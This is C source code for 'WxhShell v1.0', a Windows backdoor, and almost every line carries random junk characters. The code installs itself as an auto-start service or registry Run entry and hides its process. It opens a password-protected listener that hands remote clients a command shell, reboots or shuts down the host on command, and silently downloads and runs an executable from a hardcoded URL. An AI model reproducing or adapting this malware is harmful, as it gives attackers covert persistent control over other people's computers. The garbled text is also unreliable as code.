    else { AH7}/Rc  
    closesocket(wsh); J<h $ wM  
    ExitThread(0); rw JIx|(  
    } flbd0NB  
    break;  ItrDJ'  
    } `d`T*_  
  // 关机 z$. 88 ^  
  case 'd': { j6 z^Tt12  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Cnh \%OW  
    if(Boot(SHUTDOWN)) E*K;H8}s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0GCEqQy8  
    else { Aw.qK9I  
    closesocket(wsh); `1fY)d^ZS  
    ExitThread(0); eru.m+\  
    } \Uq(Zga4)  
    break; I1M%J@Cz  
    } c`w}|d]mC  
  // 获取shell W[e$>yK  
  case 's': { . 3T3E X|G  
    CmdShell(wsh); A$0fKko  
    closesocket(wsh); o]oum,Q  
    ExitThread(0); &d^m 1  
    break; DsCcK3 k  
  } c,+:i1IAy  
  // 退出 >_T-u<E  
  case 'x': { c4eBt))}V  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); -gX1-,dE  
    CloseIt(wsh); HY:o+ciH'  
    break; 6mxfLlZ  
    } kUrkG80q|  
  // 离开 hT+_(>hT  
  case 'q': { 56kI 5:  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); #?- wm  
    closesocket(wsh); ?J~_R1Z  
    WSACleanup(); ~dTrf>R8M  
    exit(1); v;D~Pa  
    break; ?J >  
        } =^,m` _1  
  } _ *Pf  
  } F0Yd@Lk$_  
'3^'B0 3  
  // 提示信息 3 {sVVq5Y  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^>v+( z5R  
} 1f=gYzuO)  
  } uiR8,H9*M  
PtiOz :zV  
  return; bdE[;+58  
} <bEbweQrgm  
5 #E`=C%  
// shell模块句柄 D_zZXbNc  
int CmdShell(SOCKET sock) QD]6C2j*  
{ V+9 MoT?8  
STARTUPINFO si; z9Rp`z&`E  
ZeroMemory(&si,sizeof(si)); oE]QF.n#  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Jij*x>K>y  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Bh-ym8D  
PROCESS_INFORMATION ProcessInfo; NU2;X (z[  
char cmdline[]="cmd"; 89(Q1R ?:  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); d5:c^`  
  return 0; BR;D@R``}  
} 3AN/ H  
M[,@{u/  
// 自身启动模式 fVpMx4&F   
int StartFromService(void) 4~Q/"hMSkO  
{ amY!qg0P*  
typedef struct 9InVQCf2J  
{ u.xnOcOH!  
  DWORD ExitStatus; 1o{Mck  
  DWORD PebBaseAddress; Qd3 j%(  
  DWORD AffinityMask; P71Lqy)5}A  
  DWORD BasePriority; I51@QJX  
  ULONG UniqueProcessId; r3UUlR/Do  
  ULONG InheritedFromUniqueProcessId; TAW/zpps$  
}   PROCESS_BASIC_INFORMATION; I9ep`X6Y  
#?:lb1  
PROCNTQSIP NtQueryInformationProcess; FVJ GL  
YT(AUS5n  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; V1M.JU  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; %n9aaoD  
Z/+#pWBI!  
  HANDLE             hProcess; c\AfaK^KF  
  PROCESS_BASIC_INFORMATION pbi; z-)O9PV  
\ }G> 8^  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); mc\"yC ^s  
  if(NULL == hInst ) return 0; B^^#D0<  
r* Ca}Z  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); +QJ#2~pE  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); HN|%9{VeB  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); & >fQp(f  
_.8S&  
  if (!NtQueryInformationProcess) return 0; #AQV(;r7@  
8bld3p"^  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ~b8]H|<'Y  
  if(!hProcess) return 0; P/_['7  
j&qub_j"xX  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; }*]-jWt1J\  
gRcQt:  
  CloseHandle(hProcess); II,8O  
KPUV@eQ,  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); {bY%# m  
if(hProcess==NULL) return 0; h@ry y\9  
EXqE~afm2  
HMODULE hMod; }0Ed ]  
char procName[255]; CzrC%xy  
unsigned long cbNeeded; b d!Y\OD  
},-H"Qs  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Pe3o;mx  
X=&KayD  
  CloseHandle(hProcess); hp|YE'uYT  
I%KYtv~ `  
if(strstr(procName,"services")) return 1; // 以服务启动 b4N[)%@  
'}Z<h?9  
  return 0; // 注册表启动 j?4qO]_Wx+  
} ab?aQ*$+  
G]&qx`TBK  
// 主模块 AFwdJte9e  
int StartWxhshell(LPSTR lpCmdLine) + v:SM 9  
{ KoT%Mfu  
  SOCKET wsl; b@hqz!)l`  
BOOL val=TRUE; mQ"-,mMI  
  int port=0; c@L< Z`u  
  struct sockaddr_in door;  a0)QH  
67FWa   
  if(wscfg.ws_autoins) Install(); 5]:U9ts#  
FGBbO\< /  
port=atoi(lpCmdLine); PLBr P  
1 [Bk%G@D&  
if(port<=0) port=wscfg.ws_port; \1M4Dl5!  
8P\Zo8}v  
  WSADATA data; Z6MO^_m2  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; vKAN@HSYr  
&s>Jb?_5Mx  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   h^P#{W!e\  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); g2Z`zQA7  
  door.sin_family = AF_INET; ~WF\  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Y"$xX8o  
  door.sin_port = htons(port); =~LJ3sIX  
4 s9LB  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { >9Vn.S  
closesocket(wsl); QIFgQ0{  
return 1; @BMx!r5kn  
} %^6F_F_jS  
SSzIih@u  
  if(listen(wsl,2) == INVALID_SOCKET) { _7y[B&g[r  
closesocket(wsl); ;8 lfOMf  
return 1; +&H4m=D-#a  
} t"I77aZ$A  
  Wxhshell(wsl); sNFlKQ8)Q  
  WSACleanup(); E _|<jy$`  
G=bCNn<  
return 0; bpa?C  
;722\y(Y  
} %J-GKpo/S  
>=w)x,0yX  
// 以NT服务方式启动 %\:Wi#w>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ML p9y#  
{ ;<4a*;IO  
DWORD   status = 0;  4Wp=y  
  DWORD   specificError = 0xfffffff; G^@5H/)  
RPbZ(.  
  serviceStatus.dwServiceType     = SERVICE_WIN32;  LFV%&y|L  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; #T"4RrR  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ?Z}&EH  
  serviceStatus.dwWin32ExitCode     = 0; qmP].sA  
  serviceStatus.dwServiceSpecificExitCode = 0; B`sAk %  
  serviceStatus.dwCheckPoint       = 0; MnHNjsO#  
  serviceStatus.dwWaitHint       = 0; 86H+h (R/  
#lO Mm9  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); !bP@n  
  if (hServiceStatusHandle==0) return; y>ktcuML  
)LCHy^'  
status = GetLastError(); !p/goqT~dY  
  if (status!=NO_ERROR) _tycgq#  
{ !PE]C!*gv&  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; {2gwk8  
    serviceStatus.dwCheckPoint       = 0; bhs _9ivw  
    serviceStatus.dwWaitHint       = 0; c[s4EUG  
    serviceStatus.dwWin32ExitCode     = status;  _','9|  
    serviceStatus.dwServiceSpecificExitCode = specificError; DW3G  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); <{cQ2  
    return; Gp\ kU:}&  
  } onV>.7sG  
K|s, ru  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; YHl;flv  
  serviceStatus.dwCheckPoint       = 0; [KQ6Ta.  
  serviceStatus.dwWaitHint       = 0; . 'yCw#f  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); /<BI46B\  
} ;GD]dW#  
B|X!>Q<g  
// 处理NT服务事件,比如:启动、停止 wS3'?PRX  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 9Gz=lc[!7  
{ HLi%%"'  
switch(fdwControl) JjS?  
{ Wn}'bqp  
case SERVICE_CONTROL_STOP: ,"0 :3+(8;  
  serviceStatus.dwWin32ExitCode = 0; _Bj":rzY  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; \lNN Msd&  
  serviceStatus.dwCheckPoint   = 0; -35;j'a  
  serviceStatus.dwWaitHint     = 0; 0Y5_PTWb+Y  
  { 28u_!f[  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9(<@O%YU  
  } p{dj~ &v  
  return; Qe(:|q _  
case SERVICE_CONTROL_PAUSE: m~ee/&T  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ygl0k \  
  break; ] @fk] ]R  
case SERVICE_CONTROL_CONTINUE: 8Xs8A.  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; | VDV<g5h  
  break; % %UE+u @J  
case SERVICE_CONTROL_INTERROGATE: Y\'}a+:@Ph  
  break; +x}<IS8  
}; Fv`,3aNB  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); sW8dPw O  
} "tpSg  
L9#g)tf 8T  
// 标准应用程序主函数 Z;)%%V%o  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) he hFEyx  
{ zT-_5uZQ  
y1L,0 ]  
// 获取操作系统版本 a7%]Y}$  
OsIsNt=GetOsVer(); ]5:8Z@  
GetModuleFileName(NULL,ExeFile,MAX_PATH); |#N&akC  
9( wK@  
  // 从命令行安装 X)3!_  
  if(strpbrk(lpCmdLine,"iI")) Install(); }*"p?L^p{  
!jR=pIfq  
  // 下载执行文件 sCHJ&>m5-  
if(wscfg.ws_downexe) { ` sU/&  P  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) $L]lHji  
  WinExec(wscfg.ws_filenam,SW_HIDE); 7Hu3>4<  
} c~ V*:$F  
M\Kx'N  
if(!OsIsNt) { v/=}B(TDF  
// 如果时win9x,隐藏进程并且设置为注册表启动 VY\&8n}e(  
HideProc(); N ZSSg2TX#  
StartWxhshell(lpCmdLine); Mf``_=K  
} _:27]K:  
else {Y9q[D'g.  
  if(StartFromService()) |ZBI *  
  // 以服务方式启动 :9 ^* ^T  
  StartServiceCtrlDispatcher(DispatchTable); wj0\$NQ=x  
else VP]%Hni]  
  // 普通方式启动 12LL48bi  
  StartWxhshell(lpCmdLine); Z#\P&\`1z  
u;c?d!E  
return 0; \)|hogI|f  
} !C: $?oU  
M =r)I~  
5XB H$&Td  
Ph> %7M%  
=========================================== +srGN5!  
')3 bl3:  
c0u^zH<  
H_Q+&9^/  
b SU~XGPB  
%bfQ$a:  
" D}X\Ca"h  
S^\Vgi(  
#include <stdio.h> 04=c-~&q  
#include <string.h> 3:i@II  
#include <windows.h> e^D]EA ]%  
#include <winsock2.h> ,01"SWE  
#include <winsvc.h> dlTt _.  
#include <urlmon.h> [u*5z.^  
0KOgw*>_  
#pragma comment (lib, "Ws2_32.lib") }U"&8%PZr  
#pragma comment (lib, "urlmon.lib") 65Yv4pNL  
C>*u()q>4h  
#define MAX_USER   100 // 最大客户端连接数 ?<'}r7D   
#define BUF_SOCK   200 // sock buffer #4 pB@_  
#define KEY_BUFF   255 // 输入 buffer SI-Ops~e  
'SF<_aS(  
#define REBOOT     0   // 重启 ^ (zYzd  
#define SHUTDOWN   1   // 关机 W9GVt$T7  
%d<"l~<5;  
#define DEF_PORT   5000 // 监听端口 '(|ofJe!  
j#q-^h3H  
#define REG_LEN     16   // 注册表键长度 A2jUmK.&  
#define SVC_LEN     80   // NT服务名长度 v z '&%(  
^3L0w}#  
// 从dll定义API '$%l7  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); HCC#j9UN6  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); v #j$;  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); +!.^zp21  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Qn)a/w-  
y/ ef>ZZ  
// wxhshell配置信息 RdR p.pb8  
struct WSCFG { <lE <f+  
  int ws_port;         // 监听端口 .jWC$SVR  
  char ws_passstr[REG_LEN]; // 口令 J]pir4&j  
  int ws_autoins;       // 安装标记, 1=yes 0=no -4{<=y?"a  
  char ws_regname[REG_LEN]; // 注册表键名 8NAON5.!  
  char ws_svcname[REG_LEN]; // 服务名 );&:9[b_  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ou{2@"  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 57']#j#"hj  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ok\vQs(a  
int ws_downexe;       // 下载执行标记, 1=yes 0=no }*pi<s  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" @O^6&\s>  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 R|87%&6']  
jLHkOk5{:  
}; )W _v:?A9  
h^(* Tv-!  
// default Wxhshell configuration aNspMJ  
struct WSCFG wscfg={DEF_PORT, EaY?aAuS:  
    "xuhuanlingzhe", 0rs"o-s<  
    1, V#gK$uv  
    "Wxhshell", 84zSK)=Y  
    "Wxhshell", rlSeu5X6  
            "WxhShell Service", YHygo#4=8  
    "Wrsky Windows CmdShell Service", e)? .r9pA;  
    "Please Input Your Password: ", ,G?WAOy,  
  1, i#Bf"W{F  
  "http://www.wrsky.com/wxhshell.exe", r1{@Ucw2  
  "Wxhshell.exe" ~H<6gN<j(.  
    }; jZkcBIK2  
?ri?GmI|  
// 消息定义模块 2E)-M9ds  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; h_3E)jc  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ]dmrkZz:  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; :zke %Yx  
char *msg_ws_ext="\n\rExit."; i^Y+?Sx  
char *msg_ws_end="\n\rQuit."; WUXx;9>  
char *msg_ws_boot="\n\rReboot..."; u$Jz~:=,  
char *msg_ws_poff="\n\rShutdown..."; j[G  
char *msg_ws_down="\n\rSave to "; k&vz 7Q`T  
Y>dzR)~3[  
char *msg_ws_err="\n\rErr!"; E`usknf>l  
char *msg_ws_ok="\n\rOK!"; J7Hl\Q[D1  
rCbDu&k]  
char ExeFile[MAX_PATH]; hPkWCoQpq  
int nUser = 0; m{cGK`/\  
HANDLE handles[MAX_USER]; Ru!iR#s)!  
int OsIsNt; S8wLmd>  
J~ zUp(>K  
SERVICE_STATUS       serviceStatus; ;dtA4:IRZ4  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; p\tm:QWD;  
^?7-r6  
// 函数声明 FQ7T'G![  
int Install(void); M2>Vj/  
int Uninstall(void); n&;85IF1  
int DownloadFile(char *sURL, SOCKET wsh); .B]MpmpK  
int Boot(int flag); {JO  
void HideProc(void); ;!mzyb*  
int GetOsVer(void); nn:.nU|I  
int Wxhshell(SOCKET wsl); Ng2@z<>.  
void TalkWithClient(void *cs); +_?hK{Ib"  
int CmdShell(SOCKET sock); oWim}Er=  
int StartFromService(void); ^T;*M_  
int StartWxhshell(LPSTR lpCmdLine); +ocol6G7W  
9~5uaP$S  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ~Ei$nV  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); o WrKM  
'EEJU/"u  
// 数据结构和表定义 ug!s7fo^  
SERVICE_TABLE_ENTRY DispatchTable[] = J6s`'gFns  
{ qo90t{|c  
{wscfg.ws_svcname, NTServiceMain}, Ustv{:7v  
{NULL, NULL} 4$iz4U:P  
}; q77;ZPfs8  
/ivJsPH  
// 自我安装 Pmr5S4Ka  
int Install(void) 6S'yZQ |b  
{ 8>2.UrC  
  char svExeFile[MAX_PATH]; j9x<Y]  
  HKEY key; h5{'Q$Erl  
  strcpy(svExeFile,ExeFile); 1MP~dRZ$  
xd q?/^E  
// 如果是win9x系统,修改注册表设为自启动 zl>nSndRE  
if(!OsIsNt) { !*F1q|R  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { nA-.mWD_C  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]YnD  
  RegCloseKey(key); \ =?a/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { J{p1|+h%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6y%qVx#!  
  RegCloseKey(key); g 2LM_1\  
  return 0; #zv3b[@  
    } "/*\1v9  
  } N ,'GN[s  
} B4c]}r+  
else { |"X*@s\'  
xaq-.IQAM$  
// 如果是NT以上系统,安装为系统服务 8rnwXPBN  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);  N_kMK  
if (schSCManager!=0) b,l$1{  
{ 25nt14Y 0u  
  SC_HANDLE schService = CreateService <y2U3; t  
  ( (^8Y|:Tz  
  schSCManager, ~drS} V  
  wscfg.ws_svcname, zH?!  
  wscfg.ws_svcdisp, jH5 k  
  SERVICE_ALL_ACCESS, l[mWf  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,  4C6YO  
  SERVICE_AUTO_START, 6"L cJ%o  
  SERVICE_ERROR_NORMAL, U2tV4_ e  
  svExeFile, iW]j9}t  
  NULL, v}}F,c(f  
  NULL, [64:4/<}  
  NULL, 5Md=-,'J!  
  NULL, ="1Ind@w!  
  NULL zsEc(  
  ); |B?m,U$A!  
  if (schService!=0) )#0O>F~  
  { aD<A.Lhy  
  CloseServiceHandle(schService); e8>})  
  CloseServiceHandle(schSCManager); /wQy17g  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); d\&U*=  
  strcat(svExeFile,wscfg.ws_svcname); (Z+.45{-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { SB;&GHq"n  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); !fV+z%:  
  RegCloseKey(key); {g'(~ qv  
  return 0; 0cv{  
    } p,EQ#Ik  
  } uanhr)Ys  
  CloseServiceHandle(schSCManager); aq>kTaz  
} =m]v8`g  
} JK7G/]j+Ez  
DTX0  
return 1; m<<+  
} A]_7}<<N  
|%BOZT  
// 自我卸载 8 `v-<J  
int Uninstall(void) ]{;gw<T  
{ wm+};L&_  
  HKEY key; Hc;[Cs0  
=Pyj%4Rs  
if(!OsIsNt) { <v"R.<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &pxg. 3  
  RegDeleteValue(key,wscfg.ws_regname); BwN0!lsF3  
  RegCloseKey(key); o@_q]/Mh  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *[Imn\hu  
  RegDeleteValue(key,wscfg.ws_regname); %HhBt5w  
  RegCloseKey(key); 'NbHa!  
  return 0; eFB5=)ld  
  } <X#C)-.  
} cRC6 s8  
} . o6Or:L  
else { IY1 //9  
{Ea b j  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); kl" hBK#D%  
if (schSCManager!=0) XMCXQs&  
{ nd`1m[7MNu  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); L@rcK!s,lD  
  if (schService!=0) xEa\f[.An  
  {  > ^O7  
  if(DeleteService(schService)!=0) { +Z,;,5'5G  
  CloseServiceHandle(schService); %J}xg^+f  
  CloseServiceHandle(schSCManager); b;L\EB  
  return 0; Mg+2. 8%  
  } 5G}?fSQ>  
  CloseServiceHandle(schService); g%aYDl  
  } XjBW9a  
  CloseServiceHandle(schSCManager); uIY#e<)}G  
} y1z4ik)Sd@  
} "BAK !N$9  
[=C6U_vU  
return 1; _OYasJUMG  
} \-E^lIVF  
-$\y_?}  
// 从指定url下载文件 OU E (I3_  
int DownloadFile(char *sURL, SOCKET wsh) >k|5Okq g  
{ A]*}HZ ,  
  HRESULT hr; +8T?{K  
char seps[]= "/"; \Zk;ikEY  
char *token; Z<oaK  
char *file; #{0HYg?(f  
char myURL[MAX_PATH]; ~ZaY!(R<  
char myFILE[MAX_PATH]; ]dVGUG8  
Y!xF ;a  
strcpy(myURL,sURL); _r#Z}HK  
  token=strtok(myURL,seps); $L `d&$Vh  
  while(token!=NULL) XE RUo  
  { I]|Pq  
    file=token; YO`]UQ|dc  
  token=strtok(NULL,seps); 'B$yo]  
  } uuEV_"X  
Xc ++b|k  
GetCurrentDirectory(MAX_PATH,myFILE); +D6YR$_<  
strcat(myFILE, "\\"); 3=#<X-);  
strcat(myFILE, file); LG0;#3YwH  
  send(wsh,myFILE,strlen(myFILE),0); $V;i '(&7  
send(wsh,"...",3,0); 8bGd} (  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); #!B4 u?"m  
  if(hr==S_OK) Bg=wKwc8  
return 0; {L971W_L  
else @ )F)S 7  
return 1; `%bypHeSp  
>dXGee>'M  
} :9afg  
umBICC]CU  
// 系统电源模块 yZ7&b&2nLn  
int Boot(int flag) 'ycJMYP8  
{ ^S<Y>Nm]  
  HANDLE hToken; NSMyliM1Y  
  TOKEN_PRIVILEGES tkp; \<h0Q,e  
&A/]pi-\  
  if(OsIsNt) { Rr$-tYy6  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); C.:<-xo  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); @&!ZZ 1V8  
    tkp.PrivilegeCount = 1; OF>mF~  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; m,28u3@r  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); w_c"@CjkE  
if(flag==REBOOT) { jwe*(k]z  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) hW' )Sp  
  return 0; .<?GS{6 N  
} @n/\L<]t  
else { t,Lrfv])  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) OKZV{Gja  
  return 0; [^n.Pns  
} 1nM  #kJ"  
  } iXkF1r]i  
  else { ;V_e>TyG  
if(flag==REBOOT) { PQt")[  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) G't$Qx,IC  
  return 0; %`r$g[<G  
} }Bh8=F3O Q  
else { (#c*M?g3  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) R{4^t97wH{  
  return 0; A  'be8  
} 7"D", 1h  
} 2W(s(-hD  
u#fM_>ML  
return 1; G Vr1`l  
} 8nqG<!,q  
7WqH&vU|  
// win9x进程隐藏模块 ]mq|w  
void HideProc(void) M?49TOQA  
{ MY)O^I X$  
",t?8465y  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); }K>d+6qk5  
  if ( hKernel != NULL ) =s{>Fsm1  
  { 9RL`<,Q  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); zk+9'r`-D  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); @bLy,Xr&  
    FreeLibrary(hKernel); xa*hi87L*  
  } I,DS@SK  
v~C Czg  
return; FxY}m  
} xH,a=8&9  
,THw"bm  
// 获取操作系统版本 \l0[rcEf  
int GetOsVer(void) kH1~k,|\&K  
{ D) P._?  
  OSVERSIONINFO winfo; S@tLCqV4  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);  > |=ts  
  GetVersionEx(&winfo); .V<+v-h  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) I@N8gn  
  return 1; I 34>X`[o  
  else 6|=f$a  
  return 0; %2{ye  
} W@IQ^ }E  
DCa^ u'f  
// 客户端句柄模块 3,w_ ".m`#  
int Wxhshell(SOCKET wsl) j;r-NCBnz  
{ 8Fh)eha9f  
  SOCKET wsh; _LnpnL:  
  struct sockaddr_in client; RB\uK 1+  
  DWORD myID; 3}1u\(Mf  
T!{w~'=F  
  while(nUser<MAX_USER) s8Q 5ui]  
{ \@zHON(  
  int nSize=sizeof(client); wlvgg  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Izc\V9+  
  if(wsh==INVALID_SOCKET) return 1; kTB 0b*V  
Y=KTeYW`  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); !qg`/y9  
if(handles[nUser]==0) Zi i   
  closesocket(wsh); j$:~Rek  
else }X6m:#6  
  nUser++; pv&sO~!iC  
  } ^ @5QP$.  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 6 "sSoj  
'<<t]kK[N  
  return 0; "S]TP$O D  
} e T{ 4{  
+'a^f5  
// 关闭 socket AT3Mlz~7#  
void CloseIt(SOCKET wsh) ^x,YW]AS}  
{ LL!Dx%JZ  
closesocket(wsh); %$L{R  
nUser--; ZBthU")?  
ExitThread(0); 0~S^Y1hH  
} VA5xp]  
=,8]nwgo  
// 客户端请求句柄 oc`H}Wvn  
void TalkWithClient(void *cs) M2Qr(K|  
{ NLqzi%s  
T5h H  
  SOCKET wsh=(SOCKET)cs; T8g$uFo  
  char pwd[SVC_LEN]; 6_Y,eL]"  
  char cmd[KEY_BUFF]; L4HI0Mx  
char chr[1]; QWYJ *  
int i,j; ICQKP1WFp  
4B.*g-L   
  while (nUser < MAX_USER) { 5b*C1HS@X  
L,!?Nt\  
if(wscfg.ws_passstr) { o+'6`g'8  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1+s;FJ2}  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); fHFE){  
  //ZeroMemory(pwd,KEY_BUFF); S9.o/mr  
      i=0; KWHY4  
  while(i<SVC_LEN) { *EH~_F  
<5051U Eu  
  // 设置超时 9'B `]/L  
  fd_set FdRead; `c$V$/IT  
  struct timeval TimeOut; 5H^ (2w  
  FD_ZERO(&FdRead); <hyKu  
  FD_SET(wsh,&FdRead); ? J0y|  
  TimeOut.tv_sec=8; B+`g> h  
  TimeOut.tv_usec=0; $& c*'3  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 6=C<>c %+  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); RA 6w}:sq7  
,P0) 6>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^\m![T\bX  
  pwd=chr[0]; At;LO9T3z  
  if(chr[0]==0xd || chr[0]==0xa) { gSj,E8-g  
  pwd=0; flx(HJK  
  break; SpBy3wd  
  } #'`{Qv0,  
  i++; R=?[Nz  
    } Mtx4'WZ  
.}+}8[p4l  
  // 如果是非法用户,关闭 socket yHaGkm  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ca9X19NG  
}  bN.Pex  
Y]a@j !  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); lB4WKn=?Kl  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); uY*L,j^)  
4,ag(^}=  
while(1) { x{n=;JD  
0g;|y4SN=  
  ZeroMemory(cmd,KEY_BUFF); 8P`"M#fI  
:4|4=mkr  
      // 自动支持客户端 telnet标准   Gc7=  
  j=0; {;oPLr+Z  
  while(j<KEY_BUFF) { Hn:Crl y#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); q3`u1S7Z7  
  cmd[j]=chr[0]; dh\P4  
  if(chr[0]==0xa || chr[0]==0xd) { O6Y0XL  
  cmd[j]=0; rC5O")I<  
  break; An@t?#4gxi  
  } >Q*Wi  
  j++; []T8k9g/-  
    } wIgS3K  
KPki}'GO  
  // 下载文件 ?7A>+EY  
  if(strstr(cmd,"http://")) { < %Y}R\s?  
